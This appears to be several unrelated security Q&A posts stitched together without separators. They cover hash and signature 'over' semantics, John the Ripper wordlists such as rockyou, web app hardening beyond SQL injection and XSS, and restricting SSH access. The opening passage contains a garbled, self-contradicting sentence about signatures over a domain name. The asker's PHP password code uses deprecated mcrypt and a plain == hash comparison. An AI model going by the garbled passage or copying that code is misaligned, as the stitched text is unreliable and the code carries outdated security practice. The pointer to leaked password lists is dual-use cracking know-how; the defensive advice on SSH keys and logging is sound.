A hash over something gives the same integrity guarantee as a hash of that thing: if the thing is replaced by a different thing, the hash won't be the same. It's a useful concept because a lot of data formats don't take a hash of just the thing you're talking about at a given time: the hashed message can contain other metadata and data that aren't that one thing. It's especially important with a signature because a signature over two pieces of data is stronger than a signature over each piece separately. Taking the example of certificates again, a signature over a domain name and another signature over a public key would not be very useful, but a signature over a domain name and another signature tie them together in a very useful way.

A hash/MAC/signature over something can also mean a deeper construction, such as a hash of a string containing (in an unambiguous way) a hash of etc. For example, a signature of a hash of a message containing a hash of a second message containing a hash of a thing is a signature over that thing, because it guarantees the authenticity of that thing just like a signature of the thing itself would.


Free John the Ripper Dictionary Install What can I download a real free dictionary to use with John the Ripper? And where do I install the dictionary?

This link provides download for various password dictionaries:
https://wiki.skullsecurity.org/Passwords

This include
- 500-worst-passwords
- rockyou
- phpbb
- conflicker
- and more!

You can find hundrets of these via a simple google search

You can use these files with the --wordlist parameter (assuming you are using command line).
See the John documentation for more information for how to use John.

I hope this answers your question.


Beyond SQL injections and XSS I'm a programmer working on a web service (by myself). Given the fact that I am not a security expert, I came to this website to ask my question.

I did all the major things to secure my website. I tried to protected against...

SQL injections by using prepared statements.
XSS Attacks by using json_encode(htmlspecialchars($str)); when sending users' string inputs (all my data is sent via JSON).
Password compromises by using the following function to encrypt passwords:

[I found this online but should I use bcrypt instead of crypt?]

$cost = 10;
$salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.');
$salt = sprintf("$2a$%02d$", $cost) . $salt;
$password = crypt($pass, $salt);

And then to log in:

if (crypt($pass, $realpass) == $realpass)
{ //$pass = entered password, $realpass = database
    //yay
}

In addition, there are a number of things on top of my head that I did not account for. These include:

Uploading to server - can images/videos be malicious if edited with imagick/ffmpeg?
Legality - How to sanitize illegal content (i.e. child porn, etc.) or even illicit content (i.e. nudity)?

I also didn't worry about command/code injection since I don't have any executions vulnerable to those. Oh and, of course, I'm sending/receiving everything over HTTPS.

HOWEVER, I'm sure all of you are sitting there at home laughing at my stupidity in the subject. Security experts are not paid a salary to, you know, secure against things as elementary as SQL injections. I seriously doubt that any major security breaches occur because of any of the potential security breaches I listed above.

And so my question is, what am I missing? It's worth noting that I'm going to use AWS's EC2, hence I don't know if I need to take extra security measures to the server or not.

Thanks in advance.

I seriously doubt that any major security breaches occur because of any of the potential security breaches I listed above.

It sounds like you are covering these well known vulnerabilities that are due to insufficient parameter sanitization, so you would expect the rest of the world did so as well.

But, boy, you would be wrong!

  According to the results of a recent survey of 595 U.S.-based IT security practitioners, 65 percent of respondents said their companies had experienced SQL injection attacks that successfully evaded their perimeter defenses in the past 12 months.source

and XSS is by far the most common vulnerability according to The WhiteHat web security report

What are you missing?

File Uploads  I think this 8 basic rules for secure file uploads by SANS is excellent.

Third Party Libraries  Your code could be perfect but rely on insecure third party libraries for all sorts of functionality.  These take work to keep up to date with the latest patches.

Privilege Escalation Most of the applications I test, after their parameters are all well sanitized, haven't paid attention to privilege escalation.  This is a type of vulnerability that automated scanners are not very good at detecting.  For example, many applications populate forms with choices based on the privilege of the user.  A malicious user can add choices to these forms on the client side with great effect unless the server is wise to what the user should be allowed to do.  Some web frameworks control this much better than others.

Logging  Make sure security related events are captured somewhere so that you can know what is going on.  Events to capture:  succesful logins, failed logins, role changes, file uploads, file downloads, database errors, and any more that are important to you.


Working from many places  being able to restrict SSH access to server to IP range I administer a webserver, and while I'd like to restrict the SSH access to an IP range, I wouldn't be able to do so because a) I travel a lot and b) I don't have a static IP at my homeoffice.

I've thought of using a VPN service like ProXPN, which I'll certainly do to increase the security of the connection from less secure places, but then everybody on the same VPN server could also try to connect. While this would definitely be more secure than leaving the port open to everyone, it still doesn't seem like a solution that'd make me happy, also because I wouldn't be able to access my server while the VPN service is down.

Any ideas?

Thanks a lot

Setup ssh key authentication and disable password authentication (ensure you don't lock out yourself!)

In order to log in, an attacker would need to prove they own the same ssh key as you, which -barring bugs such as the debian fail- would be infeasible.